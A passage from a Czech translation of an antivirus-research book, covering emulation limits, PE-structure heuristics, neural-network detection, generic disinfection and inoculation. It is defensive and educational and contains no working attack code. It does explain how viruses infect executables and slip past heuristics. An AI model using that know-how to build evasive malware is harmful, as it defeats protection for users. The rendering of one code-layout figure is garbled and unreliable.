Pokud implementace VM ignoruje takové detaily, může virus přehlédnout. Představte si detekční test, který běží v neděli na pár tisících vzorcích, které se přitom replikují pouze v pondělí a úterý. V závislosti na implementaci heuristiky se může stát, že virus nebude vůbec nalezen. Viry jako W32/Magistr23 se třeba nešíří bez aktivního připojení k Internetu. Co když se třeba tento virus pokouší připojit na www. antiheuristictrick.com? Jak má vypadat správná odpověď serveru na tento požadavek? Mohli byste sice říci, že odpověď z reálného světa je ta pravá, ale může to skener během emulace vůbec udělat?

Tato úloha se nedá bezchybně vyřešit.

Existují viry, které se nedají detekovat z žádného emulovaného prostředí, bez ohledu na to, jak moc dobrý emulátor systému je. Některé z těchto virů navíc patří do skupiny metamorfních virů a pro takové viry je nezbytná detekce, která je specifická pouze pro ně. Heuristické systémy dokážou redukovat problémy pouze u masy (masses) virů.

Vývoj metamorfních virů je jedna z největší výzev v poslední dekádě. Psaní virů se vyvíjí směrem k moderním počítačovým červům. Z pohledu antivirových výzkumníků a bezpečnostních specialistů nás čeká velmi zajímavá a současně stresující doba.

11.6 Heuristická analýza 32bitových virů pro Windows Heuristická analýza se ukázala jako úspěšná cesta k detekci nových virů. Největší nevýhodou skenerů založených na heuristické analýze je to, že často produkují falešné poplachy, což není dobré pro koncové uživatele. V některých případech je ovšem heuristická analýza velmi výhodná.

Například moderní skener nemůže přežít bez heuristiky pro makro-viry24. V případě binárních virů dovede být heuristika rovněž velmi efektivní, nicméně riziko falešných poplachů je mnohdy vyšší než u heuristiky pro makroviry.

Schopnosti heuristické analýzy se musí omezit na úroveň, kdy počet možných falešných poplachů není příliš vysoký, přičemž je skener stále schopen detekovat rozumné množství nových virů, což vůbec není snadný úkol. Heuristické skenování neexistuje ve vzduchoprázdnu a je velmi úzce spjato s chápáním současných technik infekce různých typů virů. Jiné typy virů vyžadují kompletně jiná pravidla, na kterých se pak postaví celá logika heuristické analýzy.

Například heuristická analýza šitá na míru DOSovým virům nebo boot virům je pochopitelně zcela nepoužitelná při detekci moderních Win32 virů. Tato část knihy se zabývá některými nápady, které stojí v pozadí za heuristikou určenou pro viry běžící pod Windows25.

Obvyklou metodou binární heuristiky je emulace vykonávání programu a vyhledávání podezřelých kombinací kódu. V následující části se rozebírají některé heuristické příznaky, které nejsou z větší části založeny na emulaci, ale které popisují jednotlivé problémy se strukturou v PE programech, které jsou kompilované 32bitovým kompilátorem (např. od Microsoftu, Borlandu nebo Watcomu). Ačkoliv se ne-

Počítačové viry – analýza útoku a obrana

407

jedná o nějak zvlášť vylepšenou techniku, kontrola struktury je dosti efektivní způsobem, jak detekovat i polymorfní viry, jako třeba W95/Marburg nebo W95/HPS. Heuristikou se dá detekovat virus podle struktury programu v případě, že je dostatečně podezřelá.

Poznámka Tyto charakteristiky programu jsou velmi užitečné jako filtry pro algoritmickou detekci.

11.6.1 Vykonávání kódu začíná v poslední sekci PE formát má velmi důležitou výhodu – různé funkční celky, jako třeba kód či data jsou logicky odděleny do sekcí. Pokud nahlédnete do kapitoly 4, která popisuje techniky infekce, uvidíte, že většina Win32 virů mění vstupní bod aplikace tak, aby namísto do sekce .text (CODE) vedl do poslední sekce programu. Linker standardně spojuje všechen objektový kód do sekce .text. Je sice možné vytvořit více kódových sekcí, ale implicitně k tomu při překladu nedochází a většina Win32 aplikací takovou strukturu nemá. Je tedy velmi podezřelé, pokud vstupní bod PE programu nevede do sekce kódu.

11.6.2 Podezřelé příznaky sekce Každá sekce má své příznaky, které popisují její atributy. Sekce kódu má příznak spustitelná, nicméně nepotřebuje mít atribut zapisovatelná, protože data jsou uložená odděleně. Velmi často se ovšem stává, že sekce, kde je uložený virus, nemá příznak spustitelná, ale zapisovatelná, popř. má rovnou oba příznaky. Oba tyto případy se považují za podezřelé. Některým virům se nepovede příznaky správně nastavit a nechají je vynulované. I to je podezřelé.

11.6.3 Nesprávná virtuální velikost v PE hlavičce Většina virů pro Windows 95 nezarovnává položku SizeOfImage na nejbližší násobek zarovnání sekce. Zavaděč systému Windows 95 to umožňuje, zavaděč ve Windows NT nikoliv. Nekorektní položka SizeOfImage se tedy dá považovat za podezřelou, nicméně někdy to může být důsledek nesprávného vyléčení souboru.

11.6.4 Možné "díry" mezi sekcemi Některé viry, jako třeba W95/Boza a W95/Memorial, před přidáním nové sekce zaokrouhlují velikost souboru na nejbližší násobek souborového zarovnání, podobně jako to dělají DOSové EXE infektory.

Virus už nicméně nepopíše rozdílnou velikost v hlavičce poslední sekce původního programu. Zavaděč systémů Windows NT pozná, že soubor má díru mezi fyzickými daty a nepovažuje jej za platný. Tuto chybu vykazuje mnoho virů pro Windows 95, takže se dá použít jako heuristický příznak.

408

Kapitola 11 – Techniky antivirové obrany

11.6.5 Podezřelé přesměrování kódu Některé viry nemodifikují vstupní bod v hlavičce programu. Namísto toho vloží do kódu ve vstupním bodu instrukci skoku (JMP), která směřuje do jiné sekce. Kód umístěný u vstupního bodu, který skáče z hlavní kódové sekce do jiné sekce, se považuje za velmi podezřelý.

11.6.6 Podezřelé jméno kódové sekce Je podezřelé, pokud sekce, která normálně neobsahuje kód, jako třeba .reloc, .debug atd. získává řízení.

Kód spuštěný v takových sekcích musí být označen jako podezřelý.

11.6.7 Možná infekce hlavičky Jestliže vstupní bod PE programu neukazuje do žádné sekce, ale do oblasti za PE hlavičkou a před fyzickými daty první sekce, pak je PE soubor pravděpodobně infikovaný některým z hlavičkových infektorů.

Jedná se o výjimečně efektivní heuristiku, která dovede detekovat viry typu W95/CIH a virem porušené spustitelné soubory.

11.6.8 Podezřelé importy z KERNEL32.DLL přes pořadová čísla Některé viry pro Windows 95 přepisují tabulku importů infikované aplikace a přidávají do ní importy založené na pořadových (ordinálních) hodnotách. Takové importy z knihovny KERNEL32.DLL jsou podezřelé, nicméně někteří programátoři pro Windows 95 stále nechápou, že neexistuje záruka, že program, který importuje funkce ze systémových DLL knihoven přes jejich pořadové hodnoty, bude fungovat i v jiných verzích Windows 95. To jim ovšem nebrání v jejich používání. V každém případě je podezřelé, pokud se funkce GetProcAddress() nebo GetModuleHandle() importuje přes pořadové hodnoty.

11.6.9 Tabulka importovaných adres je přepsaná Jestliže tabulka importů aplikace obsahuje importy GetProcAddress() a GetModuleHandleA() a tyto dvě API se zároveň importují přes pořadové hodnoty, potom je tabulka importů určitě přepsaná, a to se považuje za podezřelé.

11.6.10 Vícenásobné PE hlavičky Pokud PE aplikace obsahuje více PE hlaviček, pak se soubor považuje za podezřelý, protože PE hlavička obsahuje mnoho nepoužitých nebo konstantních položek. K tomu dochází v případě, že položka lfanew ukazuje na druhou polovinu programu, přičemž na začátku souboru je možné nalézt jinou PE hlavičku (v kapitole 4 naleznete více podrobností o infekci přes lfanew).

11.6.11 Vícenásobné hlavičky Windows a podezřelé importy z KERNEL32.DLL Strukturální analýza dovede detekovat viry připojující se na začátek souborů vyhledáváním vícenásobných hlaviček nových spustitelných programů, jako jsou třeba 16bitové NE nebo 32bitové PE hlavičky.

To se dá udělat kontrolou, zda-li je velikost programu větší než velikost kódu, který je popsán v hlavičce.

Pokud virus nezakóduje původní hlavičku na konci programu, je možné vícenásobné hlavičky Windows

Počítačové viry – analýza útoku a obrana

409

detekovat. Tabulka importů by se navíc měla zkontrolovat na určité kombinace importů API. Pokud se z KERNEL32.DLL importuje kombinace API GetModuleHandle(), Sleep(), FindFirstFile(), FindNextFile(), MoveFile(), GetWindowsDirectory(), WinExec(), DeleteFile(), WriteFile(), CreateFile(), MoveFile(), CreateProcess(), jedná se pravděpodobně o infekci virem, který se připojuje na začátek souborů.

11.6.12 Podezřelé relokace Jedná se o příznak spojený s kódem. Pokud kód obsahuje instrukce, které se dají použít pro zjištění aktuálního začátku adresy kódu viru, považuje se to za podezřelé – například instrukce CALL ukazující na nejbližší možný offset. Mnoho virů pro Windows 95 používá sekvenci E800000000, což je 32bitový ekvivalent DOSové implementace E80000.

11.6.13 Pevné ukazatele na systémové oblasti Kód, který pracuje s pevnými ukazateli na systémové oblasti, jako třeba na KERNEL32.DLL nebo paměťovou oblast VMM (Virtual Machine Manager, správce virtuálního stroje), je podezřelý. Takové viry současně často vyhledávají značku PE\0\0, což by se mělo také detekovat.

Pokud program během své emulace přistupuje k nějakému rozsahu paměti, mělo by se to označit jako podezřelé. Sekvence kódu, která implementuje funkci GetProcAddress(), je běžnou součástí virů a exploitovacích kódů. Přímý přístup k rozsahu paměti, který náleží hlavičce knihovny KERNEL32.DLL je velmi běžným startovacím kódem počítačových virů, avšak netypickým u normálních programů.

11.6.14 Nekonzistence knihovny KERNEL32.DLL Konzistence knihovny KERNEL32.DLL se dá zkontrolovat použitím jedné z API z IMAGEHLP.DLL, jako třeba CheckSumMappedFile() nebo MapFileAndCheckSum().

Tímto způsobem se dají snadno detekovat viry, které infikují knihovnu KERNEL32.DLL, avšak nepřepočítávají její kontrolní součet (jako třeba W95/Lorez nebo W95/Yourn).

11.6.15 Načítání sekce do adresního prostoru VMM Bohužel – pod systémy Windows 9x je možné načíst sekci do paměťové oblasti tzv. okruhu oprávnění 0 (ring 0). Paměťová oblast správce virtuálního stroje (virtual machine manager, VVM) začíná na adrese 0xC0001000. Na 0xC0000000 je stránka, která se nepoužívá. Několik málo virů, jako třeba virus W95/MarkJ.825, tuto stránku používá. Virus vkládá novou hlavičku sekce do tabulky sekcí hostitelského programu a jako virtuální adresu jejího začátku uvede v paměti 0xC0000000. Systémový zavaděč tuto stránku alokuje automaticky, jakmile dojde ke spuštění infikovaného programu. Kód viru se pak spustí v režimu jádra. Zavaděč by sice mohl snadno odmítnout alokaci této stránku, ale implementace systémů Windows 9x tuto schopnost nemá. Proto se považuje za podezřelé, pokud virtuální adresa sekce ukazuje do oblasti VMM.

410

Kapitola 11 – Techniky antivirové obrany

11.6.16 Nesprávná velikost kódu v hlavičce Většina virů neupravuje v PE hlavičce položku SizeOfCode, když přidává novou sekci do souboru. Pokud přepočítaná velikost všech kódových sekcí neodpovídá údaji v hlavičce, potom je pravděpodobné, že byla do souboru vložená nová sekce.

11.6.17 Příklady kombinací podezřelých příznaků Výpis 11.14 ukazuje předchozí zmiňované příznaky na opravdových virech, a to W32/Cabanas, W95/ Anxiety, W95/Marburg a W95/SGWW.

Výpis 11.14 Heuristika pro Win32 první generace. c:\winvirs\win32\CABANAS.VXE -Vykonávání začíná v poslední sekci -Kódová sekce má podezřelé příznaky -Podezřelé přesměrování kódu Pravděpodobně infikován neznámým Win32 virem (úroveň: 5) c:\winvirs\win95\ANXIETY.VXE -Vykonávání začíná v poslední sekci -Kódová sekce má podezřelé příznaky -Nesprávná virtuální velikost v hlavičce -Podezřelé jméno kódové sekce Pravděpodobně infikován neznámým Win32 virem (úroveň: 6) c:\winvirs\win95\MARBURG.VXE -Vykonávání začíná v poslední sekci -Kódová sekce má podezřelé příznaky -Nesprávná virtuální velikost v hlavičce -Podezřelé přesměrování kódu -Podezřelé jméno kódové sekce Pravděpodobně infikován neznámým Win32 virem (úroveň: 8) c:\winvirs\win95\SGWW2202.VXE -Vykonávání začíná v poslední sekci -Kódová sekce má podezřelé příznaky -Nesprávná virtuální velikost v hlavičce -Podezřelé relokace -Podezřelé jméno kódové sekce -Použití přímé adresy KERNEL32 a hledání PE00 Pravděpodobně infikován neznámým Win32 virem (úroveň: 9)

Počítačové viry – analýza útoku a obrana

411

11.7 Heuristická analýza používající neuronové sítě Někteří výzkumníci se pokusili použít k detekci počítačových virů neuronové sítě, které jsou určitým druhem umělé inteligence26, 27, tudíž se jedná o poměrně vzrušující oblast bádání. Složité polymorfní EPO viry, jako třeba Zhengxi, se dají úspěšně detekovat s použitím "vycvičených" neuronových sítí28.

Obecně se vycvičené neuronové sítě zdají být nepoužitelné pro detekci jednoho viru (kvůli množství dat a výpočtů, které jsou zapotřebí). I dobře optimalizovaný skener na bázi neuronové sítě může totiž zpomalit celkový výkon skenování o zhruba 5%. Proto je mnohem více zajímavější, že se neuronové sítě dají použít společně s heuristickou detekcí. V praxi se výzkumníkům z IBM povedlo úspěšně použít neuronové sítě na heuristickou detekci boot29 a Win32 virů30.

Jedním z klíčových problémů libovolné heuristiky je poměr falešných poplachů. Pokud je poměr příliš špatný, lidé takovou heuristiku nebudou používat. Výzkumníci z IBM demonstrovali, že jednovrstvé vyhodnocování má nejlepší výsledky v případě použití bodovacího systému. Obrázek 11.8 znázorňuje typické jednovrstvé (single-layer) vyhodnocování s použitím prahu31 (threshold).

Obrázek 11.8

Jednovrstvé vyhodnocování s prahem.

Neuronové sítě je možné snadno "přetrénovat", což je nevýhodou této metody. Přetrénované sítě si výjimečně dobře pamatují natrénované věci, ale nepracují už s novými vzorky. Jinými slovy – nedovedou detekovat nové viry. K eliminaci tohoto problému se trénuje více sítí odlišnými způsoby. Navíc se používá bodovací systém, kdy musí více než jedna síť souhlasit s pozitivní detekcí. V prvních experimentech IBM použilo čtyři neuronové sítě s bodováním, ale nakonec ukázalo se, že nejlepší výsledky se dosahují tehdy, když pět z celkových osmi sítí vyhodnotí pozitivní nález.

Základní myšlenka trénování spočívá ve vybrání n-tice (sekvencí, které jsou dlouhé pár bajtů) konstantní části virů, které signalizují infekci. Výběr n-tice pro trénování neuronové sítě je v řešení IBM jedinečné. K trénování se například použijí 4bajtové sekvence. Aby trénování sítí probíhalo lépe, použije se celek databáze ke kontrole, zda-li se n-tice extrahovaná z konstantních oblastí těla viru vyskytuje častěji, než je práh T. Pokud je práh překročen, n-tice se nepoužije.

412

Kapitola 11 – Techniky antivirové obrany

Vstupní trénovací vektor pro síť se vytváří s pomocí každé n-tice s příslušnými hodnotami. Ty se počítají pro každou n-tici a správná výstupní hodnota je v neuronové síti 0 nebo 1. IBM k trénování sítí použilo techniku zpětného šíření, přičemž výstupy každé sítě se zaznamenaly. Ty byly poté prohnány skrze sigmoidní (sigmoid) výstupní jednotku, která generuje hodnoty v rozmezí od 0.0 do 1.0: sigmoid(x) = 1.0 / (1.0+exp(-x));

Práh sigmoidního výstupu byl pro čtyřbajtové n-tice nastaven na 0.65.

Poté, co jsou síťová data zpřístupněna, jsou vložena do skeneru následujícím způsobem. Heuristické neuronové sítě se volají kdykoliv, když je skenována oblast souboru. Kdykoliv skener skenuje část souboru, jako třeba 4 kB velký buffer vybraný ze vstupního bodu PE souborů, heuristika je schopna určit, zda-li dostatečný počet sítí reaguje pozitivně.

Heuristika založená na neuronových sítích je založená na dobré sadě trénování. Pokud tam bude zahrnuto více 32bitových virů pro Windows, automaticky trénovaná heuristika vyprodukuje trochu lepší výsledky. V praxi jsou heuristické neuronové sítě velmi efektivní proti příbuzným variantám virů, které byly použity v původní trénovací sadě. Dosahují také dobrých výsledků při detekci nových rodin počítačových virů, které jsou dostatečně podobné sadám již známých virů. Je zároveň důležité vybrat n-tice z celého těla viru. Někteří výrobci antivirů se pokusili trénovat neuronové sítě n-ticemi získanými z emulovaných instrukcí virového těla. Bohužel smyčka v kódu viru může často generovat sadu instrukcí (n-tice), které jsou podobné normálním programům. To mělo za následek neakceptovatelné množství falešných poplachů.

Engine neuronové sítě od IBM byl použit v enginu antiviru od Symantecu. Neuronová síť produkovala takové malé procento falešných poplachů, že byla použita při obyčejném skenování (přičemž to nezáviselo na uživatelsky nastavitelných volbách).

11.8 Obyčejné a generické metody dezinfekce Původně byly antivirové skenery schopny léčit viry, které byly předtím ručně analyzovány vývojáři nějakého antivirového produktu32. Producenti antivirových programů byli schopni držet krok s novými viry (přidáváním detekčních a dezinfekčních rutin) zhruba do roku 1996. Uživatelé logicky očekávali, že AV budou vždy schopné detekovat viry a obnovit napadené programy do původního stavu. Ačkoliv zálohy poskytují možnost jednoduchého obnovení všech infikovaných programů, ne vždy byly vytvářeny (typicky v případech, kdy neexistovala zálohovací strategie pro eventuální případ ztráty nebo poškození dat).

Situace se rychle změnila poté, co bylo generátorem PS-MPC za jednu noc vytvořeno celkem 15000 nových virů. I výrobci antivirových skenerů s přesnou identifikací a léčením pak museli přiznat, že generické metody pro odstraňování virů jsou opravdu nezbytné.

Tím, jak postupně roste počet virů, je stále větší množství virů pouze detekováno, protože vývojáři nepovažují každý virus za tak důležitý, aby se obtěžovali s psaním dezinfekčních rutin. Bohužel – někteří uživatelé se eventuálně takovými viry nakazí.

Je možné (nicméně obtížné) dezinfikovat i neznámé viry. Existuje několik způsobů, kterými se to řeší: První spočívá v trasování eventuálně napadeného programu ladícím rozhraním, až do té doby, než vi-

Počítačové viry – analýza útoku a obrana

413

rus obnoví hostitele do původního stavu33. Tato metoda sice funguje, ale nedá se označit za opravdu spolehlivou. Alternativou je emulace programu a sbírání informací během vykonávání a jejich použití společně s generickými pravidly pro dezinfekci. Ačkoliv se toto obtížně implementuje, takové léčení vede k překvapivě dobrým výsledkům (v případě DOSových virů), a dá se rovněž použít i pro další třídy virů, jako jsou třeba viry pro Win32.

Kolik virů se dá takto odstranit? Testování generických dezinfektorů je velmi obtížná úloha. Zkoumání, kolik jednotlivých virů dezinfektor dokáže odstranit, nemá smysl, protože se jedná o generický antivirový produkt. Je důležité zjišťovat, kolik různých typů virů dovede takto odstranit. 60% je docela reálné číslo, alespoň pro DOSové viry. Většina antivirových programů (jako třeba můj starý program Pasteur) se ovšem k tomuto číslu ani zdaleka nepřibližuje, protože jejich tvůrci nemají dostatek prostředků pro ruční napsání dezinfekční rutiny pro každou variantu viru zvlášť.

Generické metody vysvětlené v této kapitole se dají použít k dezinfekci – i bez předešlého použití heuristiky pro detekci daného viru. V takovém případě se totiž virus detekuje a identifikuje normálními metodami, nicméně se už odstraňuje genericky. Tato metoda se docela úspěšně používala v několika antivirech proti nástrojům na generování virů, včetně Solomonova enginu34, 35, který používá NAI. Generická dezinfekce dovede významně zredukovat velikost antivirových databází, protože se ukládá menší množství dat specifických pro konkrétní varianty virů.

11.8.1 Standardní dezinfekce Předtím, než začneme hovořit o generické dezinfekci, měli bychom si říci, jak antivirové programy odstraňují viry. Virové techniky infekce jsou předmětem kapitoly 4, kde bylo na mnoha případech demonstrováno, jak se virus vkládá na konec hostitele. Pokud se jedná o tento případ, virus modifikuje začátek programu tak, aby mu předal řízení. Pokud není virus příliš primitivní, uloží si začátek souboru mimo svůj virový kód, protože bude nezbytný pro správné spuštění hostitele po infekci (viz výpis 11.15).

Výpis 11.15 Jednoduchý DOSový COM virus.

CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE CODE a. Hostitelský program J

ODE CODE CODE CODE CODE CODE CODE CODE CODE

C

M

ODE CODE CODE CODE CODE CODE CODE CODE CODE VIRUS

C

P

ODE CODE CODE CODE CODE CODE CODE CODE CODE

C

b. Infikovaný program

Každý virus přidává do svých obětí nové funkce. Infikované oběti spustí virový kód, který infikuje další soubory, systémové oblasti nebo se nainstaluje do paměti. Kód viru potom "opraví" začátek oběti v paměti a spustí jej. Zní to poněkud jednoduše. Bohužel je to jednoduché pouze z pohledu viru, který modifikuje několik bajtů v hostiteli, a který uloží původní kód do svého těla (v našem příkladě: CCC).

414

Kapitola 11 – Techniky antivirové obrany

V prvních letech jsme neměli žádné problémy s klasickou dezinfekcí. Měli jsme dostatek času k analýze virů, protože jich existovalo pouze pár. Mohli jsme tak strávit celé týdny s každým novým vzorkem, dokud jsme neměli všechny nezbytné informace k úspěšnému léčení.

V zásadě je proces léčení stejně jednoduchý jako samotná infekce. Potřebujeme vědět tyto informace: 

Jak virus vypátrat (ve většině případů se použije vyhledávací řetězec vybraný z viru).



Kde ve viru najít původní začátek souboru (CCC).



Velikost těla viru v bajtech.

Až známe všechny tyto informace, můžeme jednoduše virus odstranit – přečteme původní začátek z kódu viru a vložíme jej na jeho původní místo, přičemž soubor zkrátíme na jeho původní délku, kterou vypočítáme z délky viru. Tato metoda může být zajímavá pro prvních deset virů, ale každý, kdo s viry pracuje několik let, velmi dobře ví, že takový postup je příliš zdlouhavý.

Pro urychlení tohoto postupu jsme tedy vyvinuli systémy, které dovedou automaticky replikovat virové vzorky, čímž šetříme čas. Umíme spočítat umístění původních bajtů v těle viru porovnáním infikovaných a neinfikovaných vzorků za pomoci speciální utility. Tento systém pracuje bezchybně, pokud virus není zakódovaný, mutující nebo polymorfní. Také nesmí mít žádné obranné mechanismy pro detekci nastražených souborů nebo nesmí používat nějaké nové techniky infekce, se kterými dezinfektor nedovede zacházet. Pokud se naskytne nějaký takový problém, je potřeba virus analyzovat ručně. Pokud máme štěstí, bude to stačit. Pokud ne, je potřeba změnit antivirovou strategii přidáním nových funkcí nebo modifikací těch stávajících. To může zabrat mnoho času a nemusí to být dostatečně efektivní.

11.8.2 Generické decryptory Většina z těch lepších antivirových produktů má generický decryptor určený k boji s polymorfními viry, takže je možné tento největší problém vyřešit. Virus můžeme dekódovat tak, že použijeme starou techniku s vyhledávacími řetězci, což je skvělé. Generické decryptory jsou obvykle součástí technik generické dezinfekce.

11.8.3 Jak generický dezinfektor funguje?

Nápad s prováděním generické dezinfekce bez uložených informací o původním souboru, měl jako první Frans Veldman, který jej implementoval ve svém programu TBCLEAN. Metoda generické dezinfekce je jednoduchá, avšak úžasná – dezinfektor načte infikovaný soubor a začne jej emulovat až do doby, než virus obnoví infikovaný soubor do "původní formy" a je připraven jej spustit. Generický dezinfektor tedy použije samotný virus k tomu, aby během procesu léčení vykonal většinu důležitých věcí sám. Jak Veldman pravil, "nechme virus, aby sám udělal špinavou práci". Virus má uložený začátek původního souboru a vše, co potřebujeme učinit, je zkopírovat čistý program zpět do souboru.

Je to ovšem několik otázek, které nebyly zodpovězeny. Od toho jsou tu následující části kapitoly.

Počítačové viry – analýza útoku a obrana

415

11.8.4 Jak si může být dezinfektor jistý, že je soubor infikován?

Můžeme použít všechny techniky, které používají heuristické skenery. Generický dezinfektor je kombinace heuristického skeneru a heuristického dezinfektoru. Proto dezinfektor neodstraní "neznámé z neznámého"33, ale odstraní virus z neznámého. Standardní metody detekce se nicméně dají také použít pro detekci viru. Poté může být použit emulátor, který se postará o samotné vyléčení.

11.8.5 Kde je původní konec hostitelského souboru?

Tato otázka je velmi důležitá. Není možné vždy snadným způsobem odstranit část programu, která získává řízení – jinak bychom nedovedli nakládat s viry typu One_Half (viz kapitola 4), který vkládá decryptor dovnitř hostitelského programu.

Ve většině případů můžeme uříznout soubor tam, kam ukazuje první instrukce skoku (JMP) nebo kde se nachází vstupní bod. To nicméně neplatí v případě virů typu One_Half. Pokud na tom místě zkrátíme soubor, odstraníme příliš velkou část a takto "dezinfikovaný" soubor nebude funkční.

Další problém se objeví v opačném případě, kdy odstraníme příliš málo bajtů z infikovaného programu, takže tam ponecháme zbytek kódu viru. V takovém případě mohou jiné antivirové skenery nalézt nějaký řetězec, který tam zůstal po dezinfekci a způsobit tak falešný poplach.

Během emulace bychom měli postupně sbírat různé informace o viru. Tato cesta vede k velmi dobrým výsledkům.

11.8.6 Kolik druhů virů můžeme takto odstranit?

Počet metod, které mohou viry použít pro infekci programů nebo systémových oblastí je virtuálně neomezený. Ačkoliv určitě nedovedeme odstranit všechny viry s pouhým použitím techniky generické dezinfekce, je možné tuto techniku použít na odstranění většiny jednodušších virů.

11.8.6.1 Sektorové boot viry Je relativně jednoduché vytvořit sektorový boot virus. Dnes, kdy souborové viry o velký kus překonaly sektorové boot viry, jsou boot viry stále méně a méně běžné. Není tedy velký problém se vypořádat s těmito viry pomocí běžných metod. K jejich detekci a dezinfekci můžeme rovněž použít generické metody. Emulace boot sektoru je jednoduchá, přičemž většina boot virů ukládá původní boot sektor někde na disku a nahrávají jej po svém spuštění. Tento moment se dá zachytit a virus je tak možné dezinfikovat generickým způsobem.

11.8.6.2 Souborové viry Protože existuje mnoho různých struktur souborů, existuje také mnoho možných cest vedoucích k infekci souborů. Největší problémem je přepisovací metoda, kdy virus přepíše začátek souboru svým tělem, bez předešlého uschování původního obsahu. Takové viry není možné odstranit bez informace o struktuře souboru před jeho infekcí. Ačkoliv často není možné takové viry odstranit, je velmi jednoduché je heuristicky detekovat. Existuje méně než 5% virů, které jsou přepisovací a nejdou dezinfikovat.

416

Kapitola 11 – Techniky antivirové obrany

Existují další problematické případy, jako třeba EPO infektory aplikací Windows, ovladačů zařízení, infektory clusterů, dávkové infektory, infektory objektových souborů a parazitické makro infektory. Dohromady dnes tvoří cca 10% všech známých virů.

Některé další viry mohou způsobit problémy heuristickým technikám36. Takové viry totiž používají odlišné techniky infekce, které jsou založeny na použití různých špinavých triků, které byly speciálně navrženy jako útok proti generickým metodám detekce a dezinfekce. Tyto viry tvoří cca 15% všech virů.

Když zkombinujeme přepisující viry s jinými speciálními případy, výsledek bude tvořit asi 30% všech virů, které se nedají s použitím generických metod jednoduše anebo vůbec odstranit. Pokud část kódu viru, který opravuje infikovaný program, nezíská během emulace řízení, dezinfektor nezíská všechny potřebné informace nezbytné k úspěšné dezinfekci. Proto bychom měli řídit vykonávání viru velmi inteligentně. Když například virus spustí volání "Jsi tam?", emulátor by měl odpovědět přesně tak, jak to virus očekává. Pak si bude virus myslet, že už je nainstalován v paměti a sám opraví hostitelský soubor.

Tato technika se nicméně obtížně implementuje.

11.8.7 Příklady heuristiky pro generické léčení AHD (Advanced Heuristic Disinfector, pokročilý heuristický dezinfektor) byl kdysi zajímavým výzkumným projektem. Dnes už je taková heuristika používána ve většině antivirového software. AHD používá metodu generické dezinfekce zkombinovanou s heuristickým skenerem. Program registruje následující heuristické příznaky: 

Zakódování – byl nalezen kód decryptoru.



Otevření existující souboru (r/w) – program otevírá jiný spustitelný soubor pro zápis. Tento příznak je velmi častý ve virech a v některých normálních programech (jako třeba make.exe).



Podezřelý přístup k souborům – může jít o infekci souborů. AHD zobrazí další informace o typu viru, třeba to, že používá rekurzivní strukturu infekce (přímá akce).



Časově/datově závislá rutina – virus může mít aktivační rutinu.



Paměťově rezidentní kód – tento program je TSR.



Zavěšení na obsluhu přerušení – pokud se program zavěsí na kritické přerušení, jako třeba INT 21h, je možné zobrazit všechny zavěšené obsluhy (INT XXh … INT YYh).



Volání nedokumentovaného přerušení – AHD zná mnoho "nedokumentovaných" přerušení, takže se tento příznak zobrazí, pokud vypadá přerušení podezřele, jako třeba přerušovací sekvence VSAFE/VWATCH, která je velmi obvyklá u DOSových virů za účelem vypnutí rezidentních komponent programu MSAV (Microsoft AntiVirus pro DOS).



Relokace v paměti – program se přemísťuje (relokuje) podezřelým způsobem.



Hledání velikosti paměti – program se snaží modifikovat záznam o horní paměti BIOSu přepsáním dat BIOSu na adrese 0:413h.



Samorelokační kód.



Kód pro hledání souborů – program se snaží nalézt jiné spustitelné programy (*.COM a *.EXE; maďarský virus Qpa toto používá jako obranu proti heuristice).

Počítačové viry – analýza útoku a obrana

417



Podivná alokace paměti.



Replikace – program přepisuje začátek jiných programů.



Kód s obranou proti ladění.



Přímý přístup k disku – infekce boot sektoru nebo pokus o poškození systému.



Použití nedokumentovaných vlastností DOSu.



Zjišťování EXE/COM – program se snaží zkontrolovat, zdali je soubor typu EXE.



Zavěšení se na spuštění programu.



Přístup k CMOS – program se snaží modifikovat datovou oblast paměti CMOS.



Kód vektoru – virus se snaží použít generický dezinfektor jako vektor pro své spuštění na systému exploitováním analyzátoru kódu, který je založený na trasování.

11.8.8 Příklady generické dezinfekce Zde jsou dva příklady dezinfekce pomocí AHD. V prvním případě (výpis 11.16) se jedná o polymorfní virus, který používá mutační engine MtE. Virus se rozpozná pomocí heuristické analýzy a program je obnoven do čistého stavu.

Výpis 11.16 Virus Zeppelin, který používá engine MtE, nicméně se dá genericky odstranit.

X:\FILEVIRS\MTE\ZEPPELIN\MOTHER.COM - Zakódovaný kód - Samorelokační kód - Kód k vyhledávání souborů - Otevření existujících souborů (r/w) - Podezřelý přístup k souborům - Časová/datová aktivační rutina -> Pravděpodobně infikovaný neznámým virem 1. Infikovaný hostitel začíná bajty -> 0xE9 0xFC 0x13 0x53 0x6F 2. Čistý hostitel začíná bajty -> 0xEB 0x3C 0x90 0x53 0x6F 3. Původní velikost souboru: 5119, velikost viru: 4097 Virus může být odstraněn genericky.

Během emulace se vzdálený skok (0xE9) vedoucí na začátek těla viru a který je umístěn na začátku hostitele nahradí krátkým skokem (0xEB), což je původní kód umístěný ve viru pro spuštění hostitele.

Dále se podívejme na dezinfekci v případě vygenerovaného viru VCL.379 (Virus Creation Laboratory) v následujícím výpisu 11.17.

Kapitola 11 – Techniky antivirové obrany

418 Výpis 11.17

Virus VCL.379 odstraněný genericky.

X:\FILEVIRS\VCL\0379\VCL379.COM - Samorelokační kód - Kód na vyhledávání souborů - Otevření existujícího souboru (r/w) - Podezřelý přístup k souborům - Časová/datová aktivační rutina -> Pravděpodobně infikovaný neznámým virem 1. Infikovaný hostitel začíná bajty -> 0xE9 0xE5 0x03 0x90 0x90 2. Čistý hostitel začíná bajty -> 0x90 0x90 0x90 0x90 0x90 3. Původní velikost souboru: 1000, velikost viru: 379 Virus může být odstraněn genericky.

Během emulace VCL.379 se hostitelský program dokonale obnoví. Hostitel je typický záchytný soubor (goat file), který obsahuje 1000 instrukcí NOP (bajty 0x90).

Poznámka Více informací o záchytných souborech a jejich použití najdete v kapitole 15.

11.9 Očkování V době, kdy existovalo jen velmi málo počítačových virů, bylo očkování docela běžnou technikou.

Myšlenka je podobná nápadu s vakcinací. Počítačové viry totiž obvykle označují infikované soubory nějakou značkou, aby se zabránilo vícenásobné infekci. Očkovací software přidává tuto značku virů do čistých objektů, čímž zabrání budoucí infekci, protože si bude virus myslet, že takové objekty jsou už infikovány.

Bohužel, toto řešení má následující nevýhody: 

